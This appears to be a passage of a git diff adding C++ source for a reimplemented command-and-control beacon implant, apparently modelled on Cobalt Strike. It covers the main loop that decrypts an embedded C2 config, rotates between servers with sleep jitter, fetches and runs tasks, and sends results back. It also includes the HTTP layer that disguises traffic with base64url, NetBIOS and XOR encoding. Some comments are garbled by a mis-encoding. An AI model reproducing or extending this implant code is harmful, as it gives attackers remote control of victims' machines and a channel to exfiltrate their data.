value); +int BeaconFormatlength(formatp* format); +char* BeaconFormatOriginalPtr(formatp* format); +void BeaconFormatInit(formatp* format, char* buff, int buffsize); +void BeaconDataClearFree(datap* parser); +typedef struct { + char* data; /*ָdata*/ + short data_type; /* ָdata */ +} beaconconfig; +void GetParseConfig(beaconconfig* pbeaconconfig, int id); +char* get_str(int id); +short get_short(int id); +int get_dword(int id); +int get_str_config_len(int id); + +/// +/// Ԫ +/// +typedef struct { + char* data; /*ָdata*/ + int length; /* dataʹֽ */ + int data_size; /*dataڴĴС*/ +} beaconmetadata; + + + + +void BeaconMetadataInit(beaconmetadata* pmetadata, char* data, int data_size); + +void BeaconMetadataPush_N(size_t size, beaconmetadata* pmetadata, void* data); +void BeaconMetadataPush_4(int data, beaconmetadata* pmetadata); +void BeaconMetadataPush_2(short data, beaconmetadata* pmetadata); +void BeaconMetadataPush_1(char data, beaconmetadata* pmetadata); +DWORD BeaconMetadataLength(beaconmetadata* pmetadata); +DWORD BeaconMetadataDataLength(beaconmetadata* pmetadata); \ No newline at end of file diff --git a/ReBeacon_Src/beaconMain.cpp b/ReBeacon_Src/beaconMain.cpp new file mode 100644 index 0000000..b19f65f --- /dev/null +++ b/ReBeacon_Src/beaconMain.cpp @@ -0,0 +1,244 @@ + +#include + +#include "Utils.h" +#include "Global.h" +#include "rotation.h" +#include "encrypt_decrypt.h" +#include "common.h" +#include "comm.h" +#include "BeaconTask.h" +#include "BeaconLateralMovement.h" +#include "ChildBeacon.h" +#include "BeaconSleep.h" +#pragma comment(lib,"ws2_32.lib") +#pragma comment(lib,"Wininet.lib") +#ifdef _WIN64 + +#pragma comment(lib,"tomcryptx64.lib") +#pragma comment(lib,"tommathx64.lib") +#else + +#pragma comment(lib,"tomcrypt.lib") +#pragma comment(lib,"tommath.lib") +#endif // _WIN64 + + + +void Beacon_init(HINSTANCE dllbase) +{ + Beacon_Dllbase = dllbase; + //分配c2配置信息内存块 + CsC2Config = (char*)malloc(CsC2Config_size); + memset(CsC2Config, 0, CsC2Config_size); + + //解密内嵌的配置信息 + for (int i = 0; i < 0x1000; ++i) + { + rawData[i] ^= 0x2Eu; + } + + datap c2profile; + BeaconDataParse(&c2profile, (char*)rawData, 4096); + for (int index = BeaconDataShort(&c2profile); ; index = BeaconDataShort(&c2profile)) + { + if (index <= 0) + { + break; + } + WORD data_type = BeaconDataShort(&c2profile); + WORD data_size = BeaconDataShort(&c2profile); + int size = index_size * index; + + *(WORD*)(CsC2Config + size) = data_type; + switch (data_type) + { + case 1: + *(WORD*)(CsC2Config + size + sizeof(size_t)) = BeaconDataShort(&c2profile); + break; + case 2: + *(DWORD*)(CsC2Config + size + sizeof(size_t)) = BeaconDataInt(&c2profile); + break; + case 3: + //分配一块内存存放str + *(ULONG_PTR*)(CsC2Config + size + sizeof(size_t)) = (ULONG_PTR)malloc(data_size); + void* data = BeaconDataPtr(&c2profile, data_size); + //取出刚才分配的内存地址开始复制数据 + memcpy(*(ULONG_PTR**)(CsC2Config + size + sizeof(size_t)), data, data_size); + break; + } + } + memset(rawData, 0, sizeof(rawData)); + return; +} + + +int beacon_stop_date() +{ + struct _SYSTEMTIME SystemTime; + + // killdate + if (!get_dword(40)) + { + return get_dword(40); + } + GetLocalTime(&SystemTime); + return SystemTime.wDay + 100 * (SystemTime.wMonth + 100 * (unsigned int)SystemTime.wYear) >= get_dword(40); +} + +int Beacon_exit() +{ + + if (get_short(55) == 1) + { + if (get_short(39) == 1) + { + while (1) + { + Sleep(0x3E8); + } + } + ExitThread(0); + } + if (get_short(39) != 1) + { + ExitProcess(0); + } + HANDLE threadhandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ExitProcess, 0, 0, 0); + return WaitForSingleObject(threadhandle, 0xFFFFFFFF); +} + +int main() +{ + Beacon_init(NULL); + datap* parser = BeaconDataInit(0x280); + char* http_get_url = BeaconDataPtr(parser, 256); + BeaconDataPtr(parser, 256); + + char* ServerHost_buffer = (char*)BeaconDataPtr(parser, 128); + + char* ServerIP = get_str(8); + int ServerPort = get_short(2); + + char* lpszAgent = get_str(9); + char* ServerPostUrl = get_str(10); + + g_dwMilliseconds = get_dword(3); + g_jitter = get_short(5); + + int conne_error = 0; + + + //初始化轮询相关 + rotationstruc* rotation_opt = (rotationstruc*)malloc(sizeof(rotationstruc)); + + //69 和failover(错误切换)有关 纯failover模式 69等于0 + //当是按照错误次数切换的时候69等于指定次数 + int failover_Strategy_number = get_dword(69); + + //70也与failover有关当是按照时间切换的时候70等于指定的时间 + int failover_Strategy_time = get_dword(70); + + //68 如果是rotate模式 跟切换时间有关 + int rotate_Strategy_time = get_dword(68); + + //67 是模式id + //2表示rotate或failover + //如果是random则是1 随机模式 + //如果是round-robin则是0 默认模式 + int strategyID = get_short(67); // 67 68 69 70和轮询模式相关 + + + // + //69 与错误切换有关默认-1非错误切换 单错误切换等于0 + //如果是-x表示根据次数切换 69等于相应的次数 + init_rotation(rotation_opt, strategyID, rotate_Strategy_time, failover_Strategy_time, failover_Strategy_number); + + + if (beacon_stop_date()) + { + Beacon_exit(); + } + int server_output_size = get_dword(4); //.http-get.server.output + char* server_output_buffer = (char*)malloc(server_output_size); + Generate_encryption_metadata(server_output_buffer, server_output_size);// 构造元数据并加密 + while (g_dwMilliseconds) + { + char* p_ServerHost = beacon_Rotation_Strategy(rotation_opt, ServerIP, conne_error);// 轮询取出host + _snprintf(ServerHost_buffer, 0x80, "%s", p_ServerHost); + conne_error = 0; + char* p_ServerUrl = beacon_Rotation_Strategy(rotation_opt, ServerIP, 0); + _snprintf(http_get_url, 0x80, "%s", p_ServerUrl); + g_BeaconStart = 1; + _snprintf(g_post_url, 0x100u, "%s", ServerPostUrl); + set_winit_http(ServerHost_buffer, ServerPort, lpszAgent);// 设置一些http选项 + + int server_out_size = call_send_Metadata(http_get_url, server_output_buffer, server_output_size); + if (server_out_size > 0) + { + int taskdata_size = decrypt_output_data(server_output_buffer, server_out_size);// 解密 + server_out_size = taskdata_size; + if (taskdata_size > 0)//有任务 + { + Parse_Task((BeaconTask*)server_output_buffer, taskdata_size);// 对解密后的任务进行执行 + } + } + + if (server_out_size == -1) + { + //连接失败 + conne_error = 1; + } + else + { + sub_1000715A(); + + if (get_dword(28)) + { + CheckDownload(4096); // 文件下载相关 + } + else + { + CheckDownload(0x80000); + } + CheckChildBeacon(); + CheckJobOutput(); + if (beacon_stop_date()) // 判断是否有结束运行日期 + { + Beacon_end();//结束 + } + if (g_withdatasize > 0) + { + close_http_Handle(); + set_winit_http(ServerHost_buffer, ServerPort, lpszAgent); + sned_beacon_data(gBeaconOutputData); + } + } + close_http_Handle(); + if (beacon_stop_date()) + { + Beacon_exit(); + } + if (!g_dwMilliseconds) + { + break; + } + if (g_jitter) + { + int temp = g_dwMilliseconds * g_jitter / 0x64; + temp = temp ? random_int() % temp : 0; + int dwMilliseconds = g_dwMilliseconds; + if (temp < g_dwMilliseconds) + { + dwMilliseconds = g_dwMilliseconds - temp; + } + BeaconSleep(dwMilliseconds); + } + else + { + BeaconSleep(g_dwMilliseconds); + } + } + free(rotation_opt); + return Beacon_exit(); +} \ No newline at end of file diff --git a/ReBeacon_Src/comm.cpp b/ReBeacon_Src/comm.cpp new file mode 100644 index 0000000..7f77e26 --- /dev/null +++ b/ReBeacon_Src/comm.cpp @@ -0,0 +1,1000 @@ +/* +beacon httpͨ +*/ +#include "comm.h" +#include "common.h" +#include "tomcrypt.h" +#include "encrypt_decrypt.h" + +void BeaconHttpRequestInit(int buffer_size, BeaconHttpRequest* beaconhttprequest) +{ + beaconhttprequest->encrypt_Metadata_size = 3 * buffer_size; + if (3 * buffer_size < 8192) + { + beaconhttprequest->encrypt_Metadata_size = 8192; + } + datap* pdatap = BeaconDataInit(3 * (beaconhttprequest->encrypt_Metadata_size + 1024)); + beaconhttprequest->pdatap = pdatap; + beaconhttprequest->HttpOptionalLength = 0; + + char* HttpHeaders = BeaconDataPtr(pdatap, 1024); + beaconhttprequest->httpHeaders = HttpHeaders; + + char* field_1 = BeaconDataPtr(pdatap, 1024); + beaconhttprequest->field_1 = field_1; + + char* httpGetUrl = BeaconDataPtr(pdatap, 1024); + beaconhttprequest->httpGetUrl = httpGetUrl; + + char* HttpOptional = BeaconDataPtr(pdatap, beaconhttprequest->encrypt_Metadata_size); + beaconhttprequest->HttpOptional = HttpOptional; + + + char* encrypt_Metadata_Ptr = BeaconDataPtr(pdatap, beaconhttprequest->encrypt_Metadata_size); + beaconhttprequest->encrypt_Metadata_Ptr = encrypt_Metadata_Ptr; + + char* Encoding_Encrypt_Metadata_Ptr = BeaconDataPtr(pdatap, beaconhttprequest->encrypt_Metadata_size); + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr = Encoding_Encrypt_Metadata_Ptr; +} + +void BeaconHttpRequestFree(BeaconHttpRequest* beaconhttprequest) +{ + BeaconDataFree(beaconhttprequest->pdatap); +} + + +static const char* const codes_base64url = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + +static int _base64_encode_internal(const unsigned char* in, unsigned long inlen, + unsigned char* out, unsigned long* outlen, + const char* codes, int pad) +{ + unsigned long i, len2, leven; + unsigned char* p; + + /* valid output size ? */ + len2 = 4 * ((inlen + 2) / 3); + if (*outlen < len2 + 1) { + *outlen = len2 + 1; + return CRYPT_BUFFER_OVERFLOW; + } + p = out; + leven = 3 * (inlen / 3); + for (i = 0; i < leven; i += 3) { + *p++ = codes[(in[0] >> 2) & 0x3F]; + *p++ = codes[(((in[0] & 3) << 4) + (in[1] >> 4)) & 0x3F]; + *p++ = codes[(((in[1] & 0xf) << 2) + (in[2] >> 6)) & 0x3F]; + *p++ = codes[in[2] & 0x3F]; + in += 3; + } + /* Pad it if necessary... */ + if (i < inlen) { + unsigned a = in[0]; + unsigned b = (i + 1 < inlen) ? in[1] : 0; + + *p++ = codes[(a >> 2) & 0x3F]; + *p++ = codes[(((a & 3) << 4) + (b >> 4)) & 0x3F]; + if (pad) { + *p++ = (i + 1 < inlen) ? codes[(((b & 0xf) << 2)) & 0x3F] : '='; + *p++ = '='; + } + else { + if (i + 1 < inlen) *p++ = codes[(((b & 0xf) << 2)) & 0x3F]; + } + } + + /* append a NULL byte */ + *p = '\0'; + + /* return ok */ + *outlen = (unsigned long)(p - out); + return CRYPT_OK; +} + +int base64url_encode(char* in, unsigned long inlen, + unsigned char* out, unsigned long* outlen) +{ + return _base64_encode_internal((const unsigned char*)in, inlen, out, outlen, codes_base64url, 0); +} +int NetBIOS_Encode(char* out, char key, char* in, int a4, int in_size) +{ + int v5; + unsigned __int8 v7; + int i; + v5 = 0; + for (i = 0; v5 < a4; i += 2) + { + if (i >= in_size) + { + break; + } + v7 = in[v5]; + out[i] = key + (v7 >> 4); + out[i + 1] = key + (v7 & 0xF); + ++v5; + } + return i;//س +} + + +/// +/// xor +/// +/// +/// +/// +/// +/// +unsigned int xor_encode(char* a1, unsigned int a3, char* a4, unsigned int a5) +{ + unsigned int v4; + char* v5; + char* v7; + unsigned int v8; + char* v9; + char v10; + + v4 = a3 + 4; + v5 = a1; + if (a3 + 4 > a5) + { + return 0; + } + *(DWORD*)a1 = random_int(); + v7 = v5 + 4; + v8 = 0; + if (!a3) + { + return v4; + } + do + { + v9 = &v7[v8]; + v10 = a4[v8] ^ a1[v8 & 3]; + ++v8; + *v9 = v10; + } while (v8 < a3); + return a3 + 4; +} + +unsigned int xor_decode(int insize, char* in, char* out, unsigned int size) +{ + unsigned int v7; + unsigned int v8; + int v9; + char* v10; + char v11; + + if (insize - 4 > size) + { + return 0; + } + v7 = insize - 4; + v8 = 0; + if (!v7) + { + return v7; + } + v9 = in + 4 - out; + do + { + v10 = &out[v8]; + v11 = out[v8 + v9] ^ in[v8 & 3]; + ++v8; + *v10 = v11; + } while (v8 < v7); + return v7; +} + +int NetBIOS_decode(char* a1, char a2, int size, char* a4, int a5) +{ + int v7; + char v8; + + if (size % 2 == 1) + { + return 0; + } + for (int i = 0; i < size; a4[v7] = v8) + { + v7 = i / 2; + if (i / 2 >= a5) + { + break; + } + v8 = a1[i + 1] + 16 * a1[i] - 17 * a2; + i += 2; + } + return size / 2; +} + + +int base64url_decode(unsigned int inlen, char* in, unsigned int a3, char* out, DWORD* outlen) +{ + unsigned int i; + char v6; + + for (i = 0; i < inlen; ++i) + { + v6 = in[i]; + if (v6 == 95) + { + in[i] = 47; + } + else if (v6 == 45) + { + in[i] = 43; + } + } + while (1) + { + if ((inlen & 3) == 0) + return base64_decode((const unsigned char*)in, inlen, (unsigned char*)out, outlen); + if (inlen > a3) + break; + in[inlen++] = 61; + } + return 6; +} + +/// +/// http󷵻صݽн +/// +/// 󷵻buffer +/// bufferС +/// +/// +/// +int decode_metadata(char* Output_Buffer, size_t Buffer_size, char* server_output_config, int server_output_size) +{ + int data_size = Buffer_size; + char* Decode_Buffer = (char*)malloc(Buffer_size); + memset(Decode_Buffer, 0, Buffer_size); + if (!Decode_Buffer) + { + return 0; + } + datap pdata; + BeaconDataParse(&pdata, server_output_config, 1024); + int append_size = 0; + int prepend_size = 0; + + while (true) + { + int index = BeaconDataInt(&pdata); + switch (index) + { + case 0: + { + free(Decode_Buffer); + return data_size; + } + case 1://append ĩβ + { + + data_size -= BeaconDataInt(&pdata); + continue; + } + + case 2://prepend ַָͷ + { + prepend_size = BeaconDataInt(&pdata); + if (prepend_size > data_size) + { + data_size = 0; + free(Decode_Buffer); + return data_size; + } + memcpy(Decode_Buffer, Output_Buffer, data_size); + data_size -= prepend_size; + memcpy(Output_Buffer, &Decode_Buffer[prepend_size], data_size); + continue; + } + + case 3://BASE64 + { + Output_Buffer[data_size] = 0; + unsigned long out_size = server_output_size; + // base + if (base64_decode((const unsigned char*)Output_Buffer, data_size, (unsigned char*)Decode_Buffer, &out_size)) + { + data_size = 0; + free(Decode_Buffer); + return data_size; + } + data_size = out_size; + memcpy(Output_Buffer, Decode_Buffer, out_size); + continue; + } + + case 4://print ʲô + + continue; + case 5: + continue; + case 6: + continue; + case 7: + continue; + case 8://netbios + { + Output_Buffer[data_size] = 0; + int out_size = NetBIOS_decode(Output_Buffer, 'a', data_size, Decode_Buffer, server_output_size); + data_size = out_size; + if (!out_size) + { + break; + } + memcpy(Output_Buffer, Decode_Buffer, out_size); + Output_Buffer[data_size] = 0; + continue; + } + + case 9: + continue; + case 10: + continue; + case 11://netbiosu + { + Output_Buffer[data_size] = 0; + int out_size = NetBIOS_decode(Output_Buffer, 'A', data_size, Decode_Buffer, server_output_size); + data_size = out_size; + if (!out_size) + { + break; + } + memcpy(Output_Buffer, Decode_Buffer, out_size); + Output_Buffer[data_size] = 0; + continue; + } + + case 12: + continue; + case 13://base64url + { + unsigned long out_size = server_output_size; + Output_Buffer[data_size] = 0; + if (base64url_decode(data_size, (char*)Output_Buffer, server_output_size, Decode_Buffer, &out_size)) + { + data_size = 0; + free(Decode_Buffer); + return data_size; + } + data_size = out_size; + memcpy(Output_Buffer, Decode_Buffer, out_size); + continue; + } + + case 14: + continue; + case 15://mask xor + { + Output_Buffer[data_size] = 0; + int out_size = xor_decode(data_size, Output_Buffer, Decode_Buffer, server_output_size);// xor + data_size = out_size; + if (!out_size) + { + break; + } + memcpy(Output_Buffer, Decode_Buffer, out_size); + Output_Buffer[data_size] = 0; + continue; + } + + case 16: + continue; + default: + break; + } + } +} + + +/// +/// Ҫ͵Ԫݸhttpýиʽ +/// +/// +/// +/// +/// +/// +/// +void encode_Metadata(char* http_get_client_config, BeaconHttpRequest* beaconhttprequest, char* Encryption_Metadata, int Encryption_Metadata_size, void* a5, size_t a6) +{ + char Buffer[1024] = { 0 }; + char* httpHeaderHost = get_str(54); + int Size = 0; + + datap pdatap; + BeaconDataParse(&pdatap, http_get_client_config, 1024); + int v30 = 0; + while (2) + { + int index = BeaconDataInt(&pdatap); + switch (index) + { + case 0: + if ( v30 ||!httpHeaderHost) + { + return; + } + + if (!strlen(httpHeaderHost)) + { + return; + } + + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 1024, + "%s%s\r\n", + beaconhttprequest->httpHeaders, + httpHeaderHost); + memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + return; + + case 1: + { + memset(Buffer, 0, sizeof(Buffer)); + int copy_size = BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + memcpy((char*)beaconhttprequest->encrypt_Metadata_Ptr + Size, Buffer, copy_size); + Size += &Buffer[strlen(Buffer) + 1] - &Buffer[1]; + continue; + } + + + case 2: + { + memset(Buffer, 0, sizeof(Buffer)); + int copy_size = BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + memcpy(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Buffer, copy_size); + memcpy(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr + strlen(Buffer), beaconhttprequest->encrypt_Metadata_Ptr, Size); + Size += strlen(Buffer); + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size); + continue; + } + + + case 3: + { + unsigned long encrypt_Metadata_size = beaconhttprequest->encrypt_Metadata_size; + if (!base64_encode( + (unsigned char*)beaconhttprequest->encrypt_Metadata_Ptr, + Size, + (unsigned char*)beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + &encrypt_Metadata_size)) + { + Size = encrypt_Metadata_size; + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, encrypt_Metadata_size); + continue; + } + return; + } + + case 4: + { + memcpy(beaconhttprequest->HttpOptional, beaconhttprequest->encrypt_Metadata_Ptr, Size); + beaconhttprequest->HttpOptionalLength = Size; + continue; + } + + case 5: + { + memset(Buffer, 0, sizeof(Buffer)); + BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + if (*beaconhttprequest->field_1) + { + _snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "%s&%s=%s", beaconhttprequest->field_1, Buffer, beaconhttprequest->encrypt_Metadata_Ptr); + } + else + { + _snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "?%s=%s", Buffer, beaconhttprequest->encrypt_Metadata_Ptr); + } + memcpy(beaconhttprequest->field_1, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + continue; + } + + case 6: + { + memset(Buffer, 0, sizeof(Buffer)); + BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 1024, + "%s%s: %s\r\n", + beaconhttprequest->httpHeaders, + Buffer, + beaconhttprequest->encrypt_Metadata_Ptr); + memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + continue; + } + + + case 7: + { + int size = BeaconDataInt(&pdatap); + if (size) + { + if (size != 1) + { + continue; + } + Size = a6; + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, a5, a6); + } + else + { + Size = Encryption_Metadata_size; + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, Encryption_Metadata, Encryption_Metadata_size); + } + continue; + } + + + case 8: + { + int size = NetBIOS_Encode( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 'a', + beaconhttprequest->encrypt_Metadata_Ptr, + Size, + beaconhttprequest->encrypt_Metadata_size); + Size = size; + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size); + continue; + } + + + case 9: + { + memset(Buffer, 0, sizeof(Buffer)); + BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + if (*beaconhttprequest->field_1) + { + _snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "%s&%s", beaconhttprequest->field_1, Buffer); + } + else + { + _snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "?%s", Buffer); + } + memcpy(beaconhttprequest->field_1, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + continue; + } + + + case 10: + { + memset(Buffer, 0, sizeof(Buffer)); + BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 1024, + "%s%s\r\n", + beaconhttprequest->httpHeaders, + Buffer); + memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 0x400u); + continue; + } + + + case 11: + { + int size = NetBIOS_Encode( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 'A', + (char*)beaconhttprequest->encrypt_Metadata_Ptr, + Size, + beaconhttprequest->encrypt_Metadata_size); + Size = size; + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size); + continue; + } + + + case 12: + { + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 1024, + "%s%s", + beaconhttprequest->httpGetUrl, + beaconhttprequest->encrypt_Metadata_Ptr); + memcpy(beaconhttprequest->httpGetUrl, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + continue; + } + + + case 13: + { + unsigned long outsize = beaconhttprequest->encrypt_Metadata_size; + if (base64url_encode(beaconhttprequest->encrypt_Metadata_Ptr, Size, (unsigned char*)beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, &outsize)) + { + return; + } + Size = outsize; + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, outsize); + continue; + return; + } + + case 15: + { + int outsize = xor_encode( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + Size, + beaconhttprequest->encrypt_Metadata_Ptr, + beaconhttprequest->encrypt_Metadata_size); // xor + Size = outsize; + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size); + continue; + } + + case 16: + { + memset(Buffer, 0, sizeof(Buffer)); + BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + if (httpHeaderHost && strlen(httpHeaderHost)) + { + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 1024, + "%s%s\r\n", + beaconhttprequest->httpHeaders, + httpHeaderHost); + v30 = 1; + } + else + { + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 0x400u, + "%s%s\r\n", + beaconhttprequest->httpHeaders, + Buffer); + } + memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + continue; + } + + default: + break; + } + } + +} + +int send_Metadata(char* http_get_url, char* Server_Output_Buffer, int server_output_size) +{ + CHAR szObjectName[1024] = { 0 }; + BeaconHttpRequest beaconhttprequest = { 0 }; + + PCTSTR lpszAcceptTypes[] = { "*/*", NULL }; + + BeaconHttpRequestInit(g_Encryption_Metadata_size, &beaconhttprequest); + + _snprintf((char*)beaconhttprequest.httpGetUrl, 1024, "%s", http_get_url); + + char* http_get_client_config = get_str(12);//ȡ + //Լ͵ݰýб + encode_Metadata(http_get_client_config, &beaconhttprequest, g_Encryption_Metadata, g_Encryption_Metadata_size, 0, 0); + + if (&beaconhttprequest.field_1[strlen(beaconhttprequest.field_1) + 1] == beaconhttprequest.field_1 + 1) + { + _snprintf(szObjectName, 1024, "%s", beaconhttprequest.httpGetUrl); + } + else + { + _snprintf(szObjectName, 1024, "%s%s", beaconhttprequest.httpGetUrl, beaconhttprequest.field_1); + } + + + char* verb = get_str(26); //get or post + HINTERNET hRequest = HttpOpenRequestA(g_hConnect, verb, szObjectName, 0, 0, lpszAcceptTypes, g_dwFlags, g_dwContext); + set_http_opt(hRequest); + + // + HttpSendRequestA( + hRequest, + beaconhttprequest.httpHeaders, + strlen(beaconhttprequest.httpHeaders), + beaconhttprequest.HttpOptional, + beaconhttprequest.HttpOptionalLength); + + //ͷڴ + BeaconHttpRequestFree(&beaconhttprequest); + if (!verify_http_200(hRequest)) + { + InternetCloseHandle(hRequest); + return -1; + } + DWORD dwNumberOfBytesAvailable=0; + DWORD dwNumberOfBytesRead = 0; + DWORD size = 0; + // InternetQueryDataAvailable()ѯصݴС + if (InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0) + && dwNumberOfBytesAvailable + && dwNumberOfBytesAvailable < server_output_size) + { + if (!server_output_size) + { + InternetCloseHandle(hRequest); + return 0; + } + do + { + if (!InternetReadFile(hRequest, Server_Output_Buffer + size, 0x1000, &dwNumberOfBytesRead)) + { + break; + } + if (!dwNumberOfBytesRead) + { + break; + } + size += dwNumberOfBytesRead; + + } while (size < server_output_size); + if (size >= server_output_size) + { + InternetCloseHandle(hRequest); + return 0; + } + InternetCloseHandle(hRequest); + char* server_output_config = get_str(11); // .http-get.server.output + //ý + int decode_size = decode_metadata((char*)Server_Output_Buffer, size, server_output_config, server_output_size); + return decode_size; + } + else + { + InternetCloseHandle(hRequest); + return 0; + } + return 0; +} + +/// +/// send_MetadataԪݣؽݴС +/// +/// httpurl +/// +/// +/// +int call_send_Metadata(char* http_get_url, char* Server_Output_Buffer, int server_output_size) +{ + close_token_fake(); + int size = send_Metadata(http_get_url, Server_Output_Buffer, server_output_size); + restore_token_fake(); + return size; +} + +/// +/// beacon ִн +/// +/// +/// +void sned_beacon_data(char *data) +{ + CHAR szObjectName[1024] = { 0 }; + BeaconHttpRequest beaconhttprequest = { 0 }; + + PCTSTR lpszAcceptTypes[] = { "*/*", NULL }; + char DataBuffer[128] = { 0 }; + if (g_withdatasize) + { + BeaconHttpRequestInit(g_withdatasize, &beaconhttprequest); + _snprintf(beaconhttprequest.httpGetUrl, 1024, "%s", g_post_url); + _snprintf(DataBuffer, 0x80u, "%d", beacon_id); + int DataBuffer_size = strlen(DataBuffer); + char* http_post_client_config = get_str(13); // .http-post.client + encode_Metadata(http_post_client_config, &beaconhttprequest, DataBuffer, DataBuffer_size, data, g_withdatasize); + + if (&beaconhttprequest.field_1[strlen(beaconhttprequest.field_1) + 1] == beaconhttprequest.field_1 + 1) + { + _snprintf(szObjectName, 0x400u, "%s", beaconhttprequest.httpGetUrl); + } + else + { + _snprintf(szObjectName, 0x400u, "%s%s", beaconhttprequest.httpGetUrl, beaconhttprequest.field_1); + } + + close_token_fake(); + + int beacon_request_error = 0; + HINTERNET hRequest; + while (true) + { + char* str = get_str(27); + hRequest = HttpOpenRequestA(g_hConnect, str, szObjectName, 0, 0, lpszAcceptTypes, g_dwFlags, g_dwContext); + set_http_opt(hRequest); + + HttpSendRequestA( + hRequest, + beaconhttprequest.httpHeaders, + strlen(beaconhttprequest.httpHeaders), + beaconhttprequest.HttpOptional, + beaconhttprequest.HttpOptionalLength); + + if (verify_http_200(hRequest)) + { + break; + } + InternetCloseHandle(hRequest); + Sleep(500); + if (++beacon_request_error >= 4) + { + BeaconHttpRequestFree(&beaconhttprequest); + g_withdatasize = 0; + restore_token_fake(); + return; + } + } + + InternetCloseHandle(hRequest); + BeaconHttpRequestFree(&beaconhttprequest); + g_withdatasize = 0; + restore_token_fake(); + + } +} +char* gBeaconOutputData; +void sub_10002340(int encrypt_data_len, char* encrypt_data, int delay) +{ + if (!gBeaconOutputData) + { + gBeaconOutputData = (char*)malloc(0x200000); + } + + if (encrypt_data_len + 4 <= 0x200000) + { + if (g_withdatasize + encrypt_data_len + 4 > 0x200000) + { + sned_beacon_data(gBeaconOutputData); + } + *(int*)&gBeaconOutputData[g_withdatasize] = htonl(encrypt_data_len); + memcpy(&gBeaconOutputData[g_withdatasize + 4], encrypt_data, encrypt_data_len);// װݵһintΪݵĴС󸽼Ӽ + g_withdatasize = encrypt_data_len + g_withdatasize + 4; // ´Сڼ+4ֽڵintintǼݵijȣ + if (delay) + { + sned_beacon_data(gBeaconOutputData); + } + } +} + +void sub_10001287(void* data, size_t data_size, int type, int delay) +{ + int out_encrypt_data_len = 0; + // data aesܺHmacժҪ + char* encrypt_data = aes_encrypt_data(data, data_size, type, &out_encrypt_data_len); + if (out_encrypt_data_len) + { + if (g_BeaconStart == 1) + { + sub_10002340(out_encrypt_data_len, encrypt_data, delay); + } + free(encrypt_data); + } +} + + +void sub_10001D10(int data_Size, char* data, int type) +{ + int shouldChunkPosts = get_dword(28); + formatp pformatp; + BeaconFormatAlloc(&pformatp, 2 * shouldChunkPosts); + BeaconFormatInt(&pformatp, data_Size + 4); + BeaconFormatInt(&pformatp, type); + BeaconFormatAppend(&pformatp, data, shouldChunkPosts - 8); + char* pdata1 = &data[shouldChunkPosts - 8]; + int pdata2 = shouldChunkPosts - 8; + int buffer_length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + sub_10001287(buffer, buffer_length, 0x1C, 1); + BeaconFormatFree(&pformatp); + + int v1 = 0; + if (shouldChunkPosts - 8 < data_Size) + { + do + { + v1 = data_Size - pdata2; + if (data_Size - pdata2 > shouldChunkPosts) + { + v1 = shouldChunkPosts; + } + sub_10001287(pdata1, v1, 0x1D, 1); + pdata2 += 